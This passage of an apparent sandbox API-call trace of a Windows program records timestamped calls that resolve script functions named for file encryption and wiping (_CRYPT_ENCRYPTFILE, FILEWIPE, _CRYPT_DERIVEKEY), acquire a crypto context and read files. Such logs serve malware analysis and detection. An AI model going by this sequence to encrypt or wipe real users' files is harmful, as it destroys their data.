hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.061] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.061] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.062] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.062] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.062] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.062] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.062] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.062] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.062] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.062] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.062] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.062] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.063] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.063] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.063] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.063] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0xe8f417b300, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0026.063] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptReleaseContext") returned 0x7ffe2a59e83c [0026.063] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0026.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.064] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.064] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.064] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0026.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.064] CloseHandle (hObject=0x1fc) returned 1 [0026.066] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.066] CloseHandle (hObject=0x188) returned 1 [0026.069] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.071] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.071] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.072] CharLowerBuffW (in: lpsz="byte[88503]", cchLength=0xb | out: lpsz="byte[88503]") returned 0xb [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.073] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.073] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.073] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.074] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.074] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.074] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.074] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.076] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.076] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.076] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.076] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.076] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.076] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.076] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.076] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.076] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.076] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5964) returned 1 [0026.076] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.076] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.076] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.076] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x174c, lpOverlapped=0x0) returned 1 [0026.077] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.077] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x174c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.077] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5964) returned 1 [0026.077] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.077] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.077] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.077] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.077] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.077] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.077] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.078] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.078] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.078] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.078] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.078] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.078] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.079] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.079] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.079] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.079] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.079] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.079] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.080] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.080] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.080] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.080] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.081] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.081] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.081] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.081] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: 